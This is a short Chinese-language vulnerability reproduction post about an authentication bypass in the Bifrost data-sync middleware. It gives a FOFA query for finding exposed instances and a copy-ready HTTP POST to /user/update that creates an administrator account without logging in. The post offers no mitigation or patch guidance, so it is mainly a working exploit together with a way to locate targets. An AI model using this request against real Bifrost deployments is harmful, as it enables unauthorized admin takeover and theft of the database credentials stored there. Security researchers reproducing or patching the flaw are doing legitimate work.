Bifrost 中间件 X-Requested-With 系统身份认证绕过漏洞复现

0x01 产品简介

Bifrost是一款面向生产环境的 MySQL，MariaDB，kafka 同步到Redis，MongoDB，ClickHouse等服务的异构中间件

0x02 漏洞概述

Bifrost 中间件 X-Requested-With 存在身份认证绕过漏洞，未经身份认证的攻击者可未授权创建管理员权限账号，可通过删除请求头实现身份认证绕过，获取环境内配置各种数据库账户密码。

0x03 复现环境

FOFA：body="/dologin" && body="Bifrost"

0x04 漏洞复现

PoC

POST /user/update HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip{"UserName":"user","Password":"password","Group":"administrator","Host":""}